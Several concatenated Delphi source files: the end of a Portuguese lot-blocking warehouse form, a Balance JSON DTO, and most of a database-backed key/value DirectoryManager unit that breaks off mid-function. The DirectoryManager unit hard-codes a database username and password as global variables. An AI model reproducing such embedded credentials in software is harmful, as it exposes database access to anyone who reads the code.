AtualizaDestinacao(stpConsultaBloqueioLotenm_cod_lpn.AsString); lblStatus.Caption := 'LPN '+stpConsultaBloqueioLotenm_cod_lpn.AsString+' - Destinada com Sucesso!'; end else lblStatus.Caption := msgRetorno; Application.ProcessMessages; Sleep(2000); end else //-------------------------------------------------- //-->> Confirma a Encerramento //-------------------------------------------------- if (stpConsultaBloqueioLotecd_status_bloqueio.AsInteger = 3) and (stpConsultaBloqueioLotedt_confirmacao_encerramento.AsString = '') then begin lValido := EncerramentoLote( stpConsultaBloqueioLotecd_bloqueio_web.AsString, //CodBloqueioWeb '13', //CodDestinacao dmBloqueio.qryParametroLogisticacd_local_bloqueio_unilever.asstring, //CodLocalBloqueio stpConsultaBloqueioLotenm_cod_lpn.AsString, //Numero da LPN msgRetorno //Mensagem de Retorno ); if lValido then begin AtualizaEncerramento(stpConsultaBloqueioLotenm_cod_lpn.AsString); lblStatus.Caption := 'LPN '+stpConsultaBloqueioLotenm_cod_lpn.AsString+' - Encerrada com Sucesso!'; end else lblStatus.Caption := msgRetorno; Application.ProcessMessages; Sleep(2000); end; stpConsultaBloqueioLote.Next; end; end; AbrirDataSet; lblStatus.Caption := 'Aguardando a próxima consulta...'; end; procedure TfrmControleBloqueioLote.FormCreate(Sender: TObject); begin with dmBloqueio.qryParametroLogistica do begin Close; Open; end; lblStatus.Caption := 'A consulta não está em operação...'; iControle := 0; iTempo := 10; timer.Interval := 1000; timer.Enabled := False; end; procedure TfrmControleBloqueioLote.FormShow(Sender: TObject); begin AbrirDataSet; end; procedure TfrmControleBloqueioLote.InsereMovimento; begin with dmBloqueio do begin try qryInsereMovimento.Close; qryInsereMovimento.ParamByName('cd_motivo_bloqueio').Value := StrToIntDef(stpConsultaBloqueioLotenm_codigo_motivo.AsString,0); qryInsereMovimento.ParamByName('cd_local_bloqueio').Value := dmBloqueio.qryParametroLogisticacd_local_bloqueio_unilever.AsInteger; qryInsereMovimento.ParamByName('cd_lote_produto').Value := stpConsultaBloqueioLotecd_lote_produto.AsInteger; qryInsereMovimento.ParamByName('cd_produto').Value := stpConsultaBloqueioLotecd_produto.AsInteger; qryInsereMovimento.ParamByName('nm_ref_lote_produto').Value := stpConsultaBloqueioLotenm_ref_lote_produto.AsString; qryInsereMovimento.ParamByName('qt_movimento').Value := stpConsultaBloqueioLoteqt_produto.AsFloat; qryInsereMovimento.ParamByName('cd_fase_produto').Value := 0; qryInsereMovimento.ParamByName('dt_bloqueio_movimento').Value := stpConsultaBloqueioLotedt_bloqueio.AsDateTime; qryInsereMovimento.ParamByName('cd_lpn_produto').Value := stpConsultaBloqueioLotenm_cod_lpn.AsString; qryInsereMovimento.ExecSQL; except on E:exception do begin ShowMessage('Atenção! Não foi possível gerar o movimento de bloqueio de lote'); Abort; end; end; end; end; procedure TfrmControleBloqueioLote.Parada; begin lblStatus.Caption := 'A consulta não está em operação...'; lParada := True; iTempo := 10; iControle := 0; end; procedure TfrmControleBloqueioLote.timerTimer(Sender: TObject); begin if lParada then begin Parada; Abort; end; inc(iControle); iTempo := 10 - iControle; lblStatus.Caption := 'Próxima atualização em '+ IntToStr(iTempo+1)+' segundo(s)'; if iControle > 10 then begin timer.Enabled := False; ExecutaConfirmacao; iTempo := 10; iControle := 0; timer.Enabled := True; end; Application.ProcessMessages; end; end.
unit Balance; interface uses Pkg.Json.DTO, System.Generics.Collections, REST.Json.Types; {$M+} type TSelfDTO = class private FHref: string; published property Href: string read FHref write FHref; end; TLinksDTO = class private FSelf: TSelfDTO; published property Self: TSelfDTO read FSelf write FSelf; public constructor Create; destructor Destroy; override; end; TBalance = class(TJsonDTO) private FBalance: Double; [JSONName('_links')] FLinks: TLinksDTO; FTransferableBalance: Double; FWithheldBalance: Integer; published property Balance: Double read FBalance write FBalance; property Links: TLinksDTO read FLinks write FLinks; property TransferableBalance: Double read FTransferableBalance write FTransferableBalance; property WithheldBalance: Integer read FWithheldBalance write FWithheldBalance; public constructor Create; override; destructor Destroy; override; end; implementation { TLinksDTO } constructor TLinksDTO.Create; begin inherited; FSelf := TSelfDTO.Create; end; destructor TLinksDTO.Destroy; begin FSelf.Free; inherited; end; { TBalance } constructor TBalance.Create; begin inherited; FLinks := TLinksDTO.Create; end; destructor TBalance.Destroy; begin FLinks.Free; inherited; end; end.
unit DirectoryManager; interface uses ADOInt; // Node Type const ntKey = 0; ntBoolean = 1; ntInteger = 2; ntFloat = 3; ntString = 4; ntDate = 5; ntCurrency = 6; ntBigString = 7; type TDirectoryManager = class public constructor Create( aDBName : widestring; SetSecurity : boolean ); destructor Destroy; override; function GetCurrentKey : olevariant; safecall; function SetCurrentKey( FullPathKey : widestring ) : olevariant; safecall; function CreateFullPathKey( FullPathKey : widestring; ForcePath : wordbool ) : olevariant; safecall; function CreateKey ( KeyName : widestring ) : olevariant; safecall; function FullPathKeyExists( FullPathKey : widestring ) : olevariant; safecall; function KeyExists ( KeyName : widestring ) : olevariant; safecall; function KeysCount : olevariant; safecall; function ValuesCount : olevariant; safecall; function GetKeyNames : olevariant; safecall; function GetValueNames : olevariant; safecall; function WriteBoolean ( Name : widestring; Value : wordbool ) : olevariant; safecall; function WriteInteger ( Name : widestring; Value : integer ) : olevariant; safecall; function WriteFloat ( Name : widestring; Value : double ) : olevariant; safecall; function WriteString ( Name, Value : widestring ) : olevariant; safecall; function WriteDate ( Name : wideString; Value : TDateTime ) : olevariant; safecall; function WriteDateFromStr( Name, Value : widestring ) : olevariant; safecall; function WriteCurrency ( Name : widestring; Value : currency ) : olevariant; safecall; function ReadBoolean ( Name : widestring ) : olevariant; safecall; function ReadInteger ( Name : widestring ) : olevariant; safecall; function ReadFloat ( Name : widestring ) : olevariant; safecall; function ReadString ( Name : widestring ) : olevariant; safecall; function ReadDate ( Name : widestring ) : olevariant; safecall; function ReadDateAsStr( Name : widestring ) : olevariant; safecall; function ReadCurrency ( Name : widestring ) : olevariant; safecall; function FullPathValueExists( FullPathName : widestring ) : olevariant; safecall; function ValueExists ( Name : widestring ) : olevariant; safecall; function DeleteFullPathNode( FullPathNode : widestring ) : olevariant; safecall; function DeleteNode ( NodeName : widestring ) : olevariant; safecall; function IsSecureKey ( FullKeyName : widestring ) : olevariant; safecall; function SetSecurityOfKey ( FullKeyName : widestring; Security : wordbool ) : olevariant; safecall; function SetSecurityLevel ( secLevel : wordbool ) : olevariant; safecall; function IsSecureValue ( FullPathName : widestring ) : olevariant; safecall; function SetSecurityOfValue( FullPathName : widestring; Security : wordbool ) : olevariant; safecall; function TypeOf( FullPathNode : widestring ) : integer; safecall; function IntegrateValues( FullPathName : widestring ) : olevariant; safecall; function QueryKey ( FullKeyName, ValueNameList : widestring ) : oleVariant; safecall; function SearchKey( SearchPattern, ValueNameList : widestring ) : oleVariant; safecall; function EditKey ( FullPathKey, newName, oldName : widestring; Security : byte ) : olevariant; safecall; private function pFullPathKeyExists ( FullPathKey : string ) : boolean; function pFullPathValueExists( FullPathName : string ) : boolean; function DeleteValue( FullPathName : string ) : boolean; function GetFullPath( Name : string ) : string; function WriteValue( aName, aValue : widestring; aType : integer ) : boolean; function ReadValue ( aName : widestring ) : string; function WriteBigString( aName, aValue : widestring ) : boolean; function ReadBigString ( aName : widestring ) : string; function IsBigString ( Name : widestring ) : boolean; function pIsSecureKey ( FullKeyName : string ) : boolean; function pIsSecureValue ( FullPathName : string ) : boolean; function ExecQuery( FullKeyName, SearchPattern, ValueNameList : string ) : string; private procedure EndConnection; function InitConnection : boolean; function ExecuteQuery( query : String; nfields : integer ) : String; private fCurrentKey : widestring; fDirSecurity : boolean; fSecLevel : boolean; fDBName : string; Conn : Connection; end; var dbUser : string = 'FiveAdmin'; dbPassword : string = 'awuado00' ; Nothing : OleVariant; implementation uses Classes, SysUtils, MainWindow, ComObj, logs; const MaxVarCharLength = 7800; // Generals procedures function SplitFullPath( var full_path : string ) : string; var lsPos : integer; begin lsPos := LastDelimiter('/', full_path ); if lsPos > 0 then begin result := copy(full_path, lsPos + 1, length(full_path) ); full_path := copy(full_path, 0, lsPos - 1 ); end else result := '' end; procedure Log( Msg : string ); begin Logs.Log('queries', DateTimeToStr(Now) + ' ' + Msg); end;{ TDirectoryManager.LogThis } procedure EncodeString( var str : widestring ); var i : integer; begin for i := 1 to length(str) do if str[i] = '''' then str[i] := #7; end;{ EncodeString } procedure UnEncodeString( var str : string ); var i : integer; begin for i := 1 to length(str) do if str[i] = #7 then str[i] := ''''; end;{ UnEncodeString } function LinkString( SplitStr : string ) : string; var p : pchar; begin p := pchar(SplitStr); while p[0] <> #0 do begin if p[0] = #13 then p[0] := #8 else if p[0] = #10 then p[0] := #9; inc(p); end; result := SplitStr; end;{ LinkString } function SplitString( JointStr : string ) : string; var p : pchar; begin p := pchar(JointStr); while p[0] <> #0 do begin if p[0] = #8 then p[0] := #13 else if p[0] = #9 then p[0] := #10; inc(p); end; result := JointStr; end;{ SplitString } //////////////////////////////////////////////////////////////////////////////// // TDirectoryManager function TDirectoryManager.GetCurrentKey : olevariant; begin if fCurrentKey <> '' then result := fCurrentKey else result := ''; end;{ TDirectoryManager.GetCurrentKey } function TDirectoryManager.GetFullPath( Name : string ) : string; begin if GetCurrentKey = '' then result := Name else result := GetCurrentKey + '/' + Name; end; { TDirectoryManager.GetFullPath } function TDirectoryManager.KeyExists( KeyName : widestring ) : olevariant; begin result := FullPathKeyExists( GetFullPath( KeyName )); end;{ TDirectoryManager.KeyExists } function TDirectoryManager.ValueExists( Name : widestring ) : olevariant; begin result := FullPathValueExists( GetFullPath( Name )); end;{ TDirectoryManager.ValueExists } function TDirectoryManager.IsBigString( Name : widestring ) : boolean; begin try result := TypeOf( GetFullPath(Name) ) = ntBigString; except on e : exception do begin Log('IsBigString function ' + e.Message ); result := false; end; end; end;{ TDirectoryManager.IsBigString } function TDirectoryManager.SetCurrentKey( FullPathKey : widestring ) : olevariant; begin if FullPathKey = '' then result := true else begin try result := pFullPathKeyExists( FullPathKey ); except on e : Exception do begin result := false; Log( 'ERROR: ' + e.Message ); end; end; end; if result then fCurrentKey := FullPathKey; end;{ TDirectoryManager.SetCurrentKey } function TDirectoryManager.DeleteNode( NodeName : widestring ) : olevariant; begin result := DeleteFullPathNode( ( NodeName )); end;{ TDirectoryManager.DeleteNode } function TDirectoryManager.CreateKey( KeyName : widestring ) : olevariant; begin result := CreateFullPathKey( GetFullPath( KeyName ), true ); end;{ TDirectoryManager.SetCurrentKey } function TDirectoryManager.SetSecurityLevel( secLevel : wordbool ) : olevariant; begin fSecLevel := secLevel; result := secLevel; end;{ TDirectoryManager.SetCurrentKey } function TDirectoryManager.WriteBoolean( Name : widestring; Value : wordbool ) : olevariant; begin if Value then result := WriteValue( Name, 'true' , ntBoolean ) else result := WriteValue( Name, 'false', ntBoolean ); end;{ TDirectoryManager.WriteBoolean } function TDirectoryManager.WriteInteger( Name : widestring; Value : Integer ) : olevariant; begin result := WriteValue( Name, IntToStr( Value ), ntInteger ); end;{ TDirectoryManager.WriteInteger } function TDirectoryManager.WriteFloat( Name : widestring; Value : Double ) : olevariant; begin result := WriteValue( Name, FloatToStr( Value ), ntFloat ); end;{ TDirectoryManager.WriteFloat } function TDirectoryManager.WriteString( Name, Value : widestring ) : olevariant; begin EncodeString(Value); if( Length( Value ) <= MaxVarCharLength ) then result := WriteValue( Name, Value, ntString ) else result := WriteBigString( Name, Value ) end;{ TDirectoryManager.WriteString } function TDirectoryManager.WriteDate( Name : widestring; Value : TDateTime ) : olevariant; begin result := WriteValue( Name, FloatToStr( Value ), ntDate ); end;{ TDirectoryManager.WriteDate } function TDirectoryManager.WriteDateFromStr( Name, Value : widestring ) : olevariant; begin result := WriteDate( Name, StrToDate( Value )); end;{ TDirectoryManager.WriteDateFromStr } function TDirectoryManager.WriteCurrency( Name : widestring; Value : Currency ) : olevariant; begin result := WriteValue( Name, FloatToStr( Value ), ntCurrency ); end;{ TDirectoryManager.WriteCurrency } function TDirectoryManager.ReadBoolean( Name : widestring ) : olevariant; var aux : string; begin aux := ReadValue( Name ); if aux <> '' then result := (aux = 'true') or (aux = '1') else result := false; end;{ TDirectoryManager.ReadBoolean } function TDirectoryManager.ReadInteger( Name : widestring ) : olevariant; var aux : string; begin aux := ReadValue( Name ); if aux <> '' then result := StrToInt( aux ) else result := 0; end;{ TDirectoryManager.ReadInteger } function TDirectoryManager.ReadFloat( Name : widestring ) : olevariant; var aux : string; begin aux := ReadValue( Name ); if aux <> '' then result := StrToFloat( aux ) else result := 0.0; end;{ TDirectoryManager.ReadFloat } function TDirectoryManager.ReadString( Name : widestring ) : olevariant; var s, n : string; begin n := string(Name); if IsBigString( n ) then s := ReadBigString( n ) else s := ReadValue( n ); UnencodeString(s); result := s; end;{ TDirectoryManager.ReadString } function TDirectoryManager.ReadDate( Name : widestring ) : olevariant; var aux : string; begin aux := ReadValue( Name ); if aux <> '' then result := StrToFloat( aux ) else result := 0; end;{ TDirectoryManager.ReadDate } function TDirectoryManager.ReadDateAsStr( Name : widestring ) : olevariant; begin result := DateToStr( ReadDate( Name )); end;{ TDirectoryManager.ReadDateAsStr } function TDirectoryManager.ReadCurrency( Name : widestring ) : olevariant; var aux : string; begin aux := ReadValue( Name ); if aux <> '' then result := StrToFloat( aux ) else result := 0.0; end;{ TDirectoryManager.ReadCurrency } function TDirectoryManager.SearchKey( SearchPattern, ValueNameList : widestring ) : olevariant; var FullPathKey : string; begin try FullPathKey := GetCurrentKey; result := ExecQuery(FullPathKey, SearchPattern, ValueNameList ); except on e : Exception do begin Log('ERROR: SearchKey ' + e.message ); result := ''; end; end; end;{ TDirectoryManager.SearchKey } function TDirectoryManager.QueryKey( FullKeyName, ValueNameList : widestring ) : olevariant; begin try result := ExecQuery(FullKeyName, '', ValueNameList ); except on e : Exception do begin result := ''; Log('ERROR: QueryKey ' + e.message ); end; end; end;{ TDirectoryManager.QueryKey } // Specifics procedures constructor TDirectoryManager.Create( aDBName : widestring; SetSecurity : boolean ); begin try inherited Create; fCurrentKey := ''; fDBName := aDBName; fDirSecurity := SetSecurity; fSecLevel := true; Conn := CoConnection.Create; except on e : Exception do begin Log('ERROR: Create ' + ' ' + e.Message); raise; end; end; end;{ TDirectoryManager.Create } destructor TDirectoryManager.Destroy; begin try conn := nil; inherited; except on e : Exception do begin Log('ERROR: Destroy ' + ' ' + e.Message); raise; end; end; end;{ TDirectoryManager.Destroy } function TDirectoryManager.FullPathKeyExists( FullPathKey : widestring ) : olevariant; begin try if pFullPathKeyExists( FullPathKey ) then if fDirSecurity then result := true else result := pIsSecureKey( FullPathKey ) = false else result := false; except on e : Exception do begin result := false; Log('ERROR: FullPathKeyExists ' + e.Message ); end; end; end;{ TDirectoryManager.FullPathKeyExists } function TDirectoryManager.FullPathValueExists( FullPathName : widestring ) : olevariant; begin try if pFullPathValueExists( FullPathName ) then begin if fDirSecurity then result := true else result := pIsSecureValue(FullPathName) = false end else result := false; except on e : Exception do begin result := false; Log('ERROR: FullPathValueExists ' + e.Message + ' Value: ' + FullPathName ); end; end; end;{ TDirectoryManager.FullPathValueExists } function TDirectoryManager.CreateFullPathKey( FullPathKey : widestring; ForcePath : wordbool ) : olevariant; var cmd : _Command; rsm,ret : olevariant; parm0, parm1 : _Parameter; rs : Recordset; Params : Parameters; begin try if pFullPathKeyExists( FullPathKey ) then begin if fDirSecurity then result := true else result := pIsSecureKey( FullPathKey ) = false end else begin if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_InsertKey'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@full_path' , adVarChar, adParamInput , 1024, FullPathKey ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); end; rs := Execute(rsm, Params, 0 ); result := rsm > 0; finally Params._release; Set_ActiveConnection(nil); EndConnection; end; end; end; except on e : Exception do begin Log('ERROR: CreateFullPathKey (true) ' + e.Message ); result := false; end; end; end;{ TDirectoryManager.CreateFullPathKey } function TDirectoryManager.KeysCount : olevariant; var cmd : _Command; rs : Recordset; rsm, ret : olevariant; parm0, parm1, parm2, parm3 : _Parameter; Params : Parameters; begin try if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_keysCount'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, GetCurrentKey ); parm2 := cmd.CreateParameter( 'is_secured' , adBoolean, adParamInput , 1, fDirSecurity ); parm3 := cmd.CreateParameter( '@counter' , adInteger, adParamOutput , 4, result ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); end; rs := Execute(rsm, Params, 0 ); if parm3.Value <> null then result := parm3.Value else result := 0; finally Params._release; Set_ActiveConnection(nil); EndConnection; end; end; except on e : Exception do begin result := -1; Log('ERROR: KeysCount ' + e.message ); end; end; end;{ TDirectoryManager.KeysCount } function TDirectoryManager.ValuesCount : olevariant; var cmd : _Command; rs : Recordset; rsm, ret : olevariant; parm0, parm1, parm2, parm3 : _Parameter; Params : Parameters; begin try if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_valuesCount'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, GetCurrentKey ); parm2 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamInput , 1, fDirSecurity ); parm3 := cmd.CreateParameter( '@counter' , adInteger, adParamOutput , 4, result ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); end; rs := Execute(rsm, Params, 0 ); if parm3.Value <> null then result := parm3.Value else result := 0; finally Params._release; Set_ActiveConnection(nil); EndConnection; end; end; except on e : Exception do begin result := -1; Log('ERROR: ValuesCount ' + e.message ); end; end; end;{ TDirectoryManager.ValuesCount } function TDirectoryManager.GetKeyNames : olevariant; var cmd : _Command; rs : Recordset; fList : TStringList; rsm, ret : olevariant; parm0, parm1, parm2 : _Parameter; Params : Parameters; begin try if InitConnection then begin fList := TStringList.Create; cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_GetKeyNames'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput, 1024, GetCurrentKey ); parm2 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamInput, 1, fDirSecurity ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); end; rs := Execute(rsm, Params, 0); with rs.Fields.Item[0] do while not rs.EOF do begin fList.Add(Value); rs.MoveNext; end; result := fList.Text; finally rs.Close; fList.Free; Set_ActiveConnection(nil); Params._release; EndConnection; end; end; except on e : Exception do begin result := ''; Log('ERROR: GetKeyNames ' + e.message ); end; end; end;{ TDirectoryManager.GetKeyNames } function TDirectoryManager.GetValueNames : olevariant; var cmd : _Command; fList : TStringList; rsm, ret : olevariant; parm0, parm1, parm2 : _Parameter; Params : Parameters; rs : _Recordset; begin try if InitConnection then begin fList := TStringList.Create; cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_GetValueNames'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput, 1024, GetCurrentKey ); parm2 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamInput, 1, fDirSecurity ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); end; rs := Execute(rsm, Params, 0); with rs.Fields.Item[0] do while not rs.EOF do begin fList.Add(Value); rs.MoveNext; end; result := fList.Text; finally rs.Close; fList.Free; Set_ActiveConnection(nil); Params._release; EndConnection; end; end; except on e : Exception do begin result := ''; Log('ERROR: GetValueNames ' + e.message ); end; end; end;{ TDirectoryManager.GetValueNames } function TDirectoryManager.DeleteFullPathNode( FullPathNode : widestring ) : olevariant; var cmd : _Command; rsm, ret : olevariant; parm0, parm1 : _Parameter; Params : Parameters; rs : _Recordset; begin try if fDirSecurity then begin if pFullPathKeyExists( FullPathNode ) then begin if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_DeleteKey'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, FullPathNode ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); end; rs := Execute(rsm, Params, 0 ); result := rsm > 0 finally Set_ActiveConnection(nil); Params._release; EndConnection; end end end else result := DeleteValue( FullPathNode ) end else result := false; except on e : Exception do begin Log('ERROR: DeleteFullPathNode ' + e.Message ); result := false; end; end; end;{ TDirectoryManager.DeleteFullPathNode } function TDirectoryManager.SetSecurityOfKey( FullKeyName : widestring; Security : wordbool ) : olevariant; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2 : _Parameter; Params : Parameters; rs : _Recordset; begin try if fDirSecurity then begin if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_SetSecurityOfKey'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, FullKeyName ); parm2 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamInput , 1, security ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); end; rs := Execute(rsm, Params, 0 ); result := (rsm = 0) finally Set_ActiveConnection(nil); Params._release; EndConnection; end end end except on e : Exception do begin Log('ERROR: SetSecurityOfKey ' + e.message ); result := false; end; end; end;{ TDirectoryManager.SetSecurityOfKey } function TDirectoryManager.SetSecurityOfValue( FullPathName : widestring; Security : wordbool ) : olevariant; var cmd : _Command; rsm, ret : olevariant; full_path, value_name : string; parm0, parm1, parm2, parm3 : _Parameter; Params : Parameters; rs : _Recordset; begin try result := false; if fDirSecurity then begin if InitConnection then begin cmd := CoCommand.Create; with cmd do try full_path := FullPathName; value_name := SplitFullPath( full_path ); if value_name <> '' then begin cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_SetSecurityOfValue'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, full_path ); parm2 := cmd.CreateParameter( '@value_name' , adVarChar, adParamInput , 128, value_name ); parm3 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamInput , 1, security ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); end; rs := Execute(rsm, Params, 0 ); result := (rsm > 0) end finally Set_ActiveConnection(nil); Params._release; EndConnection; end end end except on e : Exception do begin Log('ERROR: SetSecurityOfValue ' + e.message ); result := false; end; end; end;{ TDirectoryManager.SetSecurityOfValue } function TDirectoryManager.IsSecureKey( FullKeyName : widestring ) : olevariant; begin try result := pIsSecureKey( FullKeyName ); except on e : Exception do begin result := true; Log('ERROR: IsSecureKey ' + e.message ); end; end; end;{ TDirectoryManager.IsSecureKey } function TDirectoryManager.IsSecureValue( FullPathName : widestring ) : olevariant; begin try result := pIsSecureValue( FullPathName ); except on e : Exception do begin result := false; Log('ERROR: IsSecureValue ' + e.message ); end; end; end;{ TDirectoryManager.IsSecureValue } function TDirectoryManager.WriteValue( aName, aValue: widestring; aType : integer ) : boolean; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2, parm3, parm4, parm5 : _Parameter; Params : Parameters; rs : _Recordset; begin try result := false; if fDirSecurity then begin if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_WriteValue'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, GetCurrentKey ); parm2 := cmd.CreateParameter( '@value_name' , adVarChar, adParamInput , 128, aName ); parm3 := cmd.CreateParameter( '@value_kind' , adTinyInt, adParamInput , 1, aType ); parm4 := cmd.CreateParameter( '@value' , adVarChar, adParamInput , 7801, aValue ); parm5 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamInput , 1, fSecLevel ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); Append(parm4); Append(parm5); end; rs := Execute(rsm, Params, 0 ); result := rsm > 0 finally Set_ActiveConnection(nil); Params._release; EndConnection; end end end except on e : Exception do begin result := false; Log('ERROR: WriteValue ' + e.message + ' --->' + GetCurrentKey + '/' + aName ); end; end; end;{ TDirectoryManager.WriteValue } function TDirectoryManager.ReadValue( aName : widestring ) : string; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2, parm3, parm4 : _Parameter; Params : Parameters; rs : _Recordset; begin try if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_ReadValue'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, GetCurrentKey ); parm2 := cmd.CreateParameter( '@value_name' , adVarChar, adParamInput , 128, aName ); parm3 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamInput , 1, fDirSecurity ); parm4 := cmd.CreateParameter( '@value' , adVarChar, adParamOutput , 7801, result ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); Append(parm4); end; rs := cmd.Execute(rsm, Params, 0 ); if parm4.Value <> null then result := parm4.Value else result := ''; finally Set_ActiveConnection(nil); Params._release; EndConnection; end; end; except on e : Exception do begin result := ''; Log('ERROR: ReadValue ' + e.message + ' --- ' + GetCurrentKey + '/' + aName + ' = ' + result ); end; end; end;{ TDirectoryManager.ReadValue } function TDirectoryManager.ReadBigString( aName : widestring ) : string; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2, parm3 : _Parameter; Params : Parameters; rs : _Recordset; begin try if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandType := adCmdStoredProc; cmd.CommandText := 'proc_ReadBigValue'; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, GetCurrentKey ); parm2 := cmd.CreateParameter( '@value_name' , adVarChar, adParamInput , 128, aName ); parm3 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamInput , 1, fDirSecurity ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); end; rs := cmd.Execute( rsm, Params, 0 ); if not rs.EOF then result := rs.Fields.Item[0].Value else result := ''; finally rs.Close; Set_ActiveConnection(nil); Params._release; EndConnection; end; end else result := ''; except on e : Exception do begin Log('ERROR: ReadBigString in ' + GetFullPath(aName) + ' ' + e.message ); result := ''; end; end; end;{ TDirectoryManager.ReadBigString } function TDirectoryManager.WriteBigString( aName, aValue : widestring ) : boolean; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2, parm3, parm4 : _Parameter; Params : Parameters; rs : _Recordset; begin try result := false; if fDirSecurity then begin if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_WriteBigValue'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger , adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar , adParamInput , 1024, GetCurrentKey ); parm2 := cmd.CreateParameter( '@value_name' , adVarChar , adParamInput , 128, aName ); parm3 := cmd.CreateParameter( '@value' , adLongVarChar, adParamInput , length(aValue), aValue ); parm4 := cmd.CreateParameter( '@is_secured' , adBoolean , adParamInput , 1, fSecLevel ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); Append(parm4); end; rs := Execute(rsm, Params, 0 ); result := rsm > 0 finally Set_ActiveConnection(nil); Params._release; EndConnection; end end end except on e : Exception do begin result := false; Log('ERROR: WriteValue in ' + GetFullPath(aName) + ' ' + e.message ); end; end; end;{ TDirectoryManager.WriteBigString } function TDirectoryManager.TypeOf( FullPathNode : widestring ) : integer; safecall; var cmd : _Command; rsm, ret : olevariant; value_name, full_path : string; parm0, parm1, parm2, parm3 : _Parameter; Params : Parameters; rs : _Recordset; begin try result := -1; if InitConnection then begin cmd := CoCommand.Create; with cmd do try full_path := FullPathNode; value_name := SplitFullPath( full_path ); if value_name <> '' then begin cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_TypeOf'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, full_path ); parm2 := cmd.CreateParameter( 